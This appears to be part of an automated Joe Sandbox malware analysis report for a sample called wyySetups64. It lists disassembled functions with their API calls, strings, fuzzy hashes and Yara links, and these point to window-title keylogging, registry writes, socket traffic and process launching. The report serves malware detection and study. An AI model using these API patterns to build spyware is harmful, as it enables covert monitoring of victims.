API ID: CreateEvent_memsetlstrlen$CloseCountCriticalHandleInitializeLocalSectionSleepSpinTime_mallocwsprintf
String ID: %4d.%2d.%2d-%2d:%2d:%2d$o1:$p1:$t1:
API String ID: 1254190970-1225219777
Opcode ID: ccea4f2daccc00ac2e6e5282f4a4633470c562c9f5e48f6508c2c11a760d9cad
Instruction ID: c3f39cec53927356e8c79222f374a199dc2cc4d1eef601c233714a3d02bb8412
Opcode Fuzzy Hash: ccea4f2daccc00ac2e6e5282f4a4633470c562c9f5e48f6508c2c11a760d9cad
Instruction Fuzzy Hash: AC617EB1918344EBD770EF64C8C5AAFB3E9BB89714F004A1DF19987240E7399544CBA2

Function 0337C860 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 66registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,AppEvents,00000000,00000002,?), ref: 0337C889
RegDeleteValueW.ADVAPI32(?), ref: 0337C894
RegCloseKey.ADVAPI32(?), ref: 0337C8A4
RegCreateKeyW.ADVAPI32(80000001,AppEvents,?), ref: 0337C8C3
lstrlenW.KERNEL32(?), ref: 0337C8D1
RegSetValueExW.ADVAPI32(?,?,00000000,00000003,?,00000000), ref: 0337C8E4
RegCloseKey.ADVAPI32(?,?,00000000,00000003,?,00000000), ref: 0337C8F2
RegCloseKey.ADVAPI32(?), ref: 0337C900

Strings

Network, xrefs: 0337C876, 0337C8B4
AppEvents, xrefs: 0337C86F, 0337C883, 0337C8AD, 0337C8BD

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Close$Value$CreateDeleteOpenlstrlen
String ID: AppEvents$Network
API String ID: 3935456190-3733486940
Opcode ID: b11999438c5b1298fb57303903516c4de5a09890ad3ff0599b59a549531cb24d
Instruction ID: 6938de6e68c933cee0c75d1dcfe720b3c5fc9ea52591a3decb21e07d79602c63
Opcode Fuzzy Hash: b11999438c5b1298fb57303903516c4de5a09890ad3ff0599b59a549531cb24d
Instruction Fuzzy Hash: 0A114F75A01208FBFB24EBA5DCC9FABB36CEB09711F10454AFA01D7240D676AE40D7A4

Function 031FA0AF Relevance: 16.8, APIs: 11, Instructions: 254COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 031FA107
_memset.LIBCMT ref: 031FA147
_memset.LIBCMT ref: 031FA1CD
swprintf.LIBCMT ref: 031FA1EC

Part of subcall function 031FF0C6: _malloc.LIBCMT ref: 031FF0E0

_memset.LIBCMT ref: 031FA2C4
swprintf.LIBCMT ref: 031FA2E3
_memset.LIBCMT ref: 031FA345
swprintf.LIBCMT ref: 031FA364

Memory Dump Source

Source File: 00000001.00000002.4119630030.00000000031F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_31f0000_wyySetups64.jbxd

Similarity

API ID: _memset$swprintf$_malloc
String ID:
API String ID: 1873853019-0
Opcode ID: 062e854903829bf1e59bc273fd803ecd21369289b7c01ee10e87d698f024efb4
Instruction ID: e095a36fdf76ff31fee0e724a3eebe3995ca676dede5d3e5ba81fee92a989b12
Opcode Fuzzy Hash: 062e854903829bf1e59bc273fd803ecd21369289b7c01ee10e87d698f024efb4
Instruction Fuzzy Hash: 9881D7B9940300AFE710EB54EC85F6B77A4EF48710F184164EE095F383EB71E955CAA6

Function 00BD5A20 Relevance: 16.7, APIs: 11, Instructions: 227timeCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,6B68DABD), ref: 00BD5A65
InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000), ref: 00BD5B04
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BD5B42
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BD5B67
InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000), ref: 00BD5C5F
InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000), ref: 00BD5C80
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BD5B8C

Part of subcall function 00BD1280: __CxxThrowException@8.LIBCMT ref: 00BD1290
Part of subcall function 00BD1280: DeleteCriticalSection.KERNEL32(00000000,?,00BE7E78), ref: 00BD12A1

InterlockedExchange.KERNEL32(?,00000000), ref: 00BD5CF1
timeGetTime.WINMM ref: 00BD5CF7
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00BD5D0B
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BD5D14

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: CreateEvent$CriticalSection$CountInitializeSpin$DeleteException@8ExchangeInterlockedThrowTimetime
String ID:
API String ID: 1400036169-0
Opcode ID: 3d36b6caafa3bfaf6cd96c2db17d9b1583bd00cfcf53a95359c628f82e75602b
Instruction ID: 03cce25f0b7aab9ac019dd8b6ac957d83a0c275407ec28b29924623c45235764
Opcode Fuzzy Hash: 3d36b6caafa3bfaf6cd96c2db17d9b1583bd00cfcf53a95359c628f82e75602b
Instruction Fuzzy Hash: F0A1F4B0A01A46AFD354DF6AC88479AFBE8FF08304F50466EE12DD7640DB74A964CF90

Function 00BD4C90 Relevance: 16.7, APIs: 11, Instructions: 156COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000139F,6B68DABD,?,?,?,?,00000000,000000FF,00000000), ref: 00BD4CC6
EnterCriticalSection.KERNEL32(?,6B68DABD,?,?,?,?,00000000,000000FF,00000000), ref: 00BD4CED
SetLastError.KERNEL32(0000139F,?,?,00000000,000000FF), ref: 00BD4D01
LeaveCriticalSection.KERNEL32(?,?,?,00000000,000000FF), ref: 00BD4D08

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: CriticalErrorLastSection$EnterLeave
String ID:
API String ID: 2124651672-0
Opcode ID: a3215a787de27e52e7575dd88eabcc741d4b8529f7951e666b581872d30725dd
Instruction ID: 14a4ea2adc091c89e9ad1d13359ef2f20572f1980277e81012a17e4eebc8fe9a
Opcode Fuzzy Hash: a3215a787de27e52e7575dd88eabcc741d4b8529f7951e666b581872d30725dd
Instruction Fuzzy Hash: 4B51C076A04A449FC324DFA8D985B6AF7F5FF48710F00456EE50ADB741EB35A8008B91

Function 03374CB0 Relevance: 16.7, APIs: 11, Instructions: 156COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000139F,7AA29978,?,?,?,?,00000000,000000FF,00000000), ref: 03374CE6
EnterCriticalSection.KERNEL32(?,7AA29978,?,?,?,?,00000000,000000FF,00000000), ref: 03374D0D
SetLastError.KERNEL32(0000139F,?,?,00000000,000000FF), ref: 03374D21
LeaveCriticalSection.KERNEL32(?,?,?,00000000,000000FF), ref: 03374D28

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CriticalErrorLastSection$EnterLeave
String ID:
API String ID: 2124651672-0
Opcode ID: 5ff9096e333db1c975628ff7a1696bd99c5544661467a674580122c3a8f33f93
Instruction ID: e602834c44050d07b794edae4ab5afad60c048b1b04f4737402c538af618d29c
Opcode Fuzzy Hash: 5ff9096e333db1c975628ff7a1696bd99c5544661467a674580122c3a8f33f93
Instruction Fuzzy Hash: BB519E76A04709DFC724EFA9E8C4A6AB7F8FB48710F04496AE95AC7740D735A400CB51

Function 031FBD5F Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 031FBD81
_wcsrchr.LIBCMT ref: 031FBD89
_memset.LIBCMT ref: 031FBDC0
_wcsrchr.LIBCMT ref: 031FBDC8
_memset.LIBCMT ref: 031FBE43
_memset.LIBCMT ref: 031FBE6F
_memset.LIBCMT ref: 031FBE8A
_memset.LIBCMT ref: 031FBF29

Strings

D, xrefs: 031FBF35

Memory Dump Source

Source File: 00000001.00000002.4119630030.00000000031F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_31f0000_wyySetups64.jbxd

Similarity

API ID: _memset$_wcsrchr
String ID: D
API String ID: 170005318-2746444292
Opcode ID: dbe0af0cfe405bfaa2f7670afa9565592a0c6507b5e6e8f9ef5526909d63a184
Instruction ID: eff0eda059bc8f025b9396f7d49d57b0ac837b2ce4ea99a865025b0d16f04fc4
Opcode Fuzzy Hash: dbe0af0cfe405bfaa2f7670afa9565592a0c6507b5e6e8f9ef5526909d63a184
Instruction Fuzzy Hash: D651E871A4031D7FDB24EBA0CC85FEAB378DF18700F404595A709AA081EBB09799CF66

Function 0337E730 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 74stringtimeCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0337E751
GetForegroundWindow.USER32(?,74DF23A0,00000000), ref: 0337E759
GetWindowTextW.USER32(00000000,033A16F0,00000800), ref: 0337E76F
_memset.LIBCMT ref: 0337E78D
lstrlenW.KERNEL32(033A16F0,?,?,?,?,74DF23A0,00000000), ref: 0337E7AC
GetLocalTime.KERNEL32(?,?,?,?,?,74DF23A0,00000000), ref: 0337E7BD
wsprintfW.USER32 ref: 0337E804

Part of subcall function 0337E6B0: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,?,?,0337E815,?,?,?,?,74DF23A0,00000000), ref: 0337E6BD
Part of subcall function 0337E6B0: CreateFileW.KERNEL32(033A0D80,40000000,00000002,00000000,00000004,00000002,00000000,?,?,0337E815,?,?,?,?,74DF23A0,00000000), ref: 0337E6D7
Part of subcall function 0337E6B0: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0337E6F2
Part of subcall function 0337E6B0: lstrlenW.KERNEL32(?,00000000,00000000), ref: 0337E6FF
Part of subcall function 0337E6B0: WriteFile.KERNEL32(00000000,?,00000000), ref: 0337E70A
Part of subcall function 0337E6B0: CloseHandle.KERNEL32(00000000), ref: 0337E711
Part of subcall function 0337E6B0: ReleaseMutex.KERNEL32(00000000), ref: 0337E71E

_memset.LIBCMT ref: 0337E820

Strings

[, xrefs: 0337E7FE

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: File_memset$Windowlstrlen$CloseCreateForegroundHandleLocalMutexObjectPointerReleaseSingleTextTimeWaitWritewsprintf
String ID: [
API String ID: 2192163267-4056885943
Opcode ID: b065f2517eed59f6167d24c851358613aa37d1c9e545c35b76b4f9e2355d1df5
Instruction ID: b6cd6c0176328781c7b8cf4732b6565582a762de165f0c4ec3fe7b9d8c360a3a
Opcode Fuzzy Hash: b065f2517eed59f6167d24c851358613aa37d1c9e545c35b76b4f9e2355d1df5
Instruction Fuzzy Hash: 8821D375E40228FAC760EF549CC6BBA73BCFB04700F048196F984D6190DE745985CBE4

Function 00B255C8 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 68COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B25640
_memset.LIBCMT ref: 00B25664
_memset.LIBCMT ref: 00B25676

Strings

_, xrefs: 00B25625
{vU_, xrefs: 00B255FD
!jWW, xrefs: 00B25607
., xrefs: 00B25611
l, xrefs: 00B2561B
i, xrefs: 00B2562F

Memory Dump Source

Source File: 00000001.00000002.4116355062.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b20000_wyySetups64.jbxd

Similarity

API ID: _memset
String ID: !jWW$.$_$i$l${vU_
API String ID: 2102423945-3065862289
Opcode ID: 2b6eedebc133e2266d96017898138cdc43810d24d5c9c443b0251b8ba9ddad3f
Instruction ID: dcc83845b442f0d0cf68cc4dbb1c894b4d65b2dcb754a6a16bb67e5e0f803ce0
Opcode Fuzzy Hash: 2b6eedebc133e2266d96017898138cdc43810d24d5c9c443b0251b8ba9ddad3f
Instruction Fuzzy Hash: 6F218870A403689AD720DF50AC80FAABBF5FF86700F0481C9E54CAA651DBB08E84CF52

Function 03373DE0 Relevance: 15.1, APIs: 10, Instructions: 117memorynetworkCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0337398D,?,00000000,000000FF,00000000), ref: 03373E05
LeaveCriticalSection.KERNEL32(?,?,?,0337398D,?,00000000,000000FF,00000000), ref: 03373E50
send.WS2_32(?,000000FF,00000000,00000000), ref: 03373E6E
EnterCriticalSection.KERNEL32(?), ref: 03373E81
LeaveCriticalSection.KERNEL32(?), ref: 03373E94
HeapFree.KERNEL32(00000000,00000000,?,?,?,0337398D,?,00000000,000000FF,00000000), ref: 03373EBC
WSAGetLastError.WS2_32(?,?,0337398D,?,00000000,000000FF,00000000), ref: 03373EC7
EnterCriticalSection.KERNEL32(?,?,?,0337398D,?,00000000,000000FF,00000000), ref: 03373EDB
LeaveCriticalSection.KERNEL32(?), ref: 03373F14
HeapFree.KERNEL32(00000000,00000000,?), ref: 03373F51

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CriticalSection$EnterLeave$FreeHeap$ErrorLastsend
String ID:
API String ID: 1701177279-0
Opcode ID: dc416325d085837bbf830fee97ab32c6ee8e3ecb252a5ab9181bf7921aa7f304
Instruction ID: e875943d1094af6f585a513b2620915abbc656f75447dfed693fe4b18d6b39ab
Opcode Fuzzy Hash: dc416325d085837bbf830fee97ab32c6ee8e3ecb252a5ab9181bf7921aa7f304
Instruction Fuzzy Hash: 4F412676504A09DFC764DF78D8C8AA7B7F8AB48310F04896EE8AECB644D735A4419B90

Function 00BD4F10 Relevance: 15.1, APIs: 10, Instructions: 114timenetworkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(0000000D,00000000,000000FF,00000000,000000FF,00000000), ref: 00BD4F43
EnterCriticalSection.KERNEL32(000002FF,00000000,000000FF,00000000,000000FF,00000000), ref: 00BD4F58
WSASetLastError.WS2_32(00002746), ref: 00BD4F6A
LeaveCriticalSection.KERNEL32(000002FF), ref: 00BD4F71
timeGetTime.WINMM ref: 00BD4F9F
timeGetTime.WINMM ref: 00BD4FC7
SetEvent.KERNEL32(?), ref: 00BD5005
InterlockedExchange.KERNEL32(?,00000001), ref: 00BD5011
LeaveCriticalSection.KERNEL32(000002FF), ref: 00BD5018
LeaveCriticalSection.KERNEL32(000002FF), ref: 00BD502B

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: CriticalSection$Leave$ErrorLastTimetime$EnterEventExchangeInterlocked
String ID:
API String ID: 1979691958-0
Opcode ID: 4ce3595aa8134a96b3af01adccce2ed87a73d6450ec4708a70cdba38e020d0d3
Instruction ID: 2ef4256d4e7d0ebbbad83778270fb4461bcf85bac4693b24ce6b26620b1eda4e
Opcode Fuzzy Hash: 4ce3595aa8134a96b3af01adccce2ed87a73d6450ec4708a70cdba38e020d0d3
Instruction Fuzzy Hash: A141C0316006449FD730DF68D988A6AF7E9FF58314F04459AE54ECB762FB75E8408B81

Function 03374F30 Relevance: 15.1, APIs: 10, Instructions: 114timenetworkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(0000000D,00000000,000000FF,00000000,000000FF,00000000), ref: 03374F63
EnterCriticalSection.KERNEL32(000002FF,00000000,000000FF,00000000,000000FF,00000000), ref: 03374F78
WSASetLastError.WS2_32(00002746), ref: 03374F8A
LeaveCriticalSection.KERNEL32(000002FF), ref: 03374F91
timeGetTime.WINMM ref: 03374FBF
timeGetTime.WINMM ref: 03374FE7
SetEvent.KERNEL32(?), ref: 03375025
InterlockedExchange.KERNEL32(?,00000001), ref: 03375031
LeaveCriticalSection.KERNEL32(000002FF), ref: 03375038
LeaveCriticalSection.KERNEL32(000002FF), ref: 0337504B

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CriticalSection$Leave$ErrorLastTimetime$EnterEventExchangeInterlocked
String ID:
API String ID: 1979691958-0
Opcode ID: 8d376dd4ca137aefc5b51cc99bf6e127ab1c812fbc4ad5d1fbe5a65e8c185e2c
Instruction ID: 0f7010074fbf8dfbc7d0eade4c139975f2b0e7b9b0fb541e094688648083a52b
Opcode Fuzzy Hash: 8d376dd4ca137aefc5b51cc99bf6e127ab1c812fbc4ad5d1fbe5a65e8c185e2c
Instruction Fuzzy Hash: D741D831600704DFD730EF65D9C4A6AB7EDFB49714F084A9AE44AC7641E33AF4458B41

Function 0337C270 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98filestringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0337C2AE
CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 0337C2CC
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0337C309
CloseHandle.KERNEL32(00000000), ref: 0337C314
lstrlenW.KERNEL32(?), ref: 0337C321
wsprintfW.USER32 ref: 0337C345

Strings

%s %s, xrefs: 0337C33F

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: File$CloseCreateHandleWrite_memsetlstrlenwsprintf
String ID: %s %s
API String ID: 1326869720-2939940506
Opcode ID: 7a802ce9a605028fccef6b8fb680433577e8bf8ebc22e8c36595236ccae6b36e
Instruction ID: 1f7ab64c71531663740b4429fb6087eb798196d59376351274e35a7c762d18bc
Opcode Fuzzy Hash: 7a802ce9a605028fccef6b8fb680433577e8bf8ebc22e8c36595236ccae6b36e
Instruction Fuzzy Hash: C5317232A40618ABEB24EB64DCC5FEF736CFB45311F40069AF605EA180DA395A44CFA5

Function 0337C980 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 88processstringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 0337C98D
_wcsrchr.LIBCMT ref: 0337C9C7

Part of subcall function 03377C80: LoadLibraryW.KERNEL32(wininet.dll), ref: 03377CC3
Part of subcall function 03377C80: GetProcAddress.KERNEL32(00000000,InternetOpenW), ref: 03377CD7
Part of subcall function 03377C80: FreeLibrary.KERNEL32(00000000), ref: 03377CF7

GetFileAttributesW.KERNEL32(-00000002), ref: 0337C9E6
GetLastError.KERNEL32 ref: 0337C9F1
_memset.LIBCMT ref: 0337CA04
CreateProcessW.KERNEL32(00000000,-00000002,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0337CA31

Strings

D, xrefs: 0337CA23
WinSta0\Default, xrefs: 0337CA2A

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Library$AddressAttributesCreateErrorFileFreeLastLoadProcProcess_memset_wcsrchrlstrlen
String ID: D$WinSta0\Default
API String ID: 174883095-1101385590
Opcode ID: 3f393a63fa9d11909f8a2cbc615f5c55e5e9b673cdb65712fb486f6efdeb8d27
Instruction ID: 923f2c1a8c56d2976c5150c7cc3b22f80e675051fc8a3e00f86f301aea57205e
Opcode Fuzzy Hash: 3f393a63fa9d11909f8a2cbc615f5c55e5e9b673cdb65712fb486f6efdeb8d27
Instruction Fuzzy Hash: DD11D5B6D0020877D734E7A89CC6FEFB76D9B55711F040126FA06DA284E63A9905C6A2

Function 03378159 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 58stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,A:\), ref: 03378166
lstrcmpiW.KERNEL32(?,B:\), ref: 03378176
QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 033781A6
lstrlenW.KERNEL32(?), ref: 033781B7
__wcsnicmp.LIBCMT ref: 033781CE
lstrcpyW.KERNEL32(00000AD4,?), ref: 03378204
lstrcpyW.KERNEL32(?,?), ref: 03378228
lstrcatW.KERNEL32(?,00000000), ref: 03378233

Strings

A:\, xrefs: 03378160
B:\, xrefs: 03378170

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: lstrcmpilstrcpy$DeviceQuery__wcsnicmplstrcatlstrlen
String ID: A:\$B:\
API String ID: 4249875308-1009255891
Opcode ID: 0faeaf21af258c9a15a3dcfc88a942bf374341b3f8fbd88bc376c1751dc9800a
Instruction ID: 94c423bdb2305fb01596cfd232a2910bf6ff4f4276edc1efc23967403b8dc253
Opcode Fuzzy Hash: 0faeaf21af258c9a15a3dcfc88a942bf374341b3f8fbd88bc376c1751dc9800a
Instruction Fuzzy Hash: 49114F71A01218EBDB24EF51DD85BEEB378EF44310F044499EA09B7240E775DA45CBA5

Function 03379730 Relevance: 13.7, APIs: 9, Instructions: 195timeCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,7AA29978,00000000,?,?,?,00000000,0339125B,000000FF,?,0337E04E,00000000), ref: 03379773
InitializeCriticalSectionAndSpinCount.KERNEL32(0337E1AE,00000000,?,?,?,00000000,0339125B,000000FF,?,0337E04E), ref: 03379812
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,0339125B,000000FF,?,0337E04E), ref: 03379850
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,0339125B,000000FF,?,0337E04E), ref: 03379875
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,0339125B,000000FF,?,0337E04E), ref: 0337989A

Part of subcall function 03371280: __CxxThrowException@8.LIBCMT ref: 03371290
Part of subcall function 03371280: DeleteCriticalSection.KERNEL32(00000000,0337D3E6,03396624,?,?,0337D3E6,?,?,?,?,03395A40,00000000), ref: 033712A1

Part of subcall function 0337CE10: InitializeCriticalSectionAndSpinCount.KERNEL32(0337E076,00000000,7AA29978,0337E04E,74DF2F60,00000000,?,0337E226,0339110B,000000FF,?,0337994A,0337E226), ref: 0337CE67
Part of subcall function 0337CE10: InitializeCriticalSectionAndSpinCount.KERNEL32(0337E08E,00000000,?,0337E226,0339110B,000000FF,?,0337994A,0337E226,?,?,?,00000000,0339125B,000000FF), ref: 0337CE83

InterlockedExchange.KERNEL32(0337E066,00000000), ref: 033799A0
timeGetTime.WINMM(?,?,?,00000000,0339125B,000000FF,?,0337E04E), ref: 033799A6
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,00000000,0339125B,000000FF,?,0337E04E), ref: 033799B4
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,0339125B,000000FF,?,0337E04E), ref: 033799BD

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CreateEvent$CriticalSection$CountInitializeSpin$DeleteException@8ExchangeInterlockedThrowTimetime
String ID:
API String ID: 1400036169-0
Opcode ID: 55519ae1cdf5fa4a6433cc6418badec36d25fbedb34c0d5469ab782b0280e486
Instruction ID: 6b4ed3ad6a99e98baf515c66c9569f9c3fbcfe64f46b35ac58e3346d85cfa7f6
Opcode Fuzzy Hash: 55519ae1cdf5fa4a6433cc6418badec36d25fbedb34c0d5469ab782b0280e486
Instruction Fuzzy Hash: A981C5B1A01A46BFE354DF6A88C4796FAA8FB08304F50422ED12CD7640D775A964CF90

Function 00BD3500 Relevance: 13.6, APIs: 9, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 00BD3660: CreateWaitableTimerW.KERNEL32(00000000,00000000,00000000), ref: 00BD3667
Part of subcall function 00BD3660: _free.LIBCMT ref: 00BD369C
Part of subcall function 00BD3660: _malloc.LIBCMT ref: 00BD36D7
Part of subcall function 00BD3660: _memset.LIBCMT ref: 00BD36E5

InterlockedIncrement.KERNEL32(00BED990), ref: 00BD3565
InterlockedIncrement.KERNEL32(00BED990), ref: 00BD3573
setsockopt.WS2_32(?,0000FFFF,00001001,?,00000004), ref: 00BD359A
setsockopt.WS2_32(?,0000FFFF,00001002,?,00000004), ref: 00BD35B3
ResetEvent.KERNEL32(?,?,?,00BED990), ref: 00BD35EE
SetLastError.KERNEL32(00000000), ref: 00BD3621
GetLastError.KERNEL32 ref: 00BD3639

Part of subcall function 00BD3F60: GetCurrentThreadId.KERNEL32 ref: 00BD3F65
Part of subcall function 00BD3F60: send.WS2_32(?,00BE7440,00000010,00000000), ref: 00BD3FC6
Part of subcall function 00BD3F60: SetEvent.KERNEL32(?), ref: 00BD3FE9
Part of subcall function 00BD3F60: InterlockedExchange.KERNEL32(?,00000000), ref: 00BD3FF5
Part of subcall function 00BD3F60: WSACloseEvent.WS2_32(?), ref: 00BD4003
Part of subcall function 00BD3F60: shutdown.WS2_32(?,00000001), ref: 00BD401B
Part of subcall function 00BD3F60: closesocket.WS2_32(?), ref: 00BD4025

SetLastError.KERNEL32(00000000), ref: 00BD3649

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

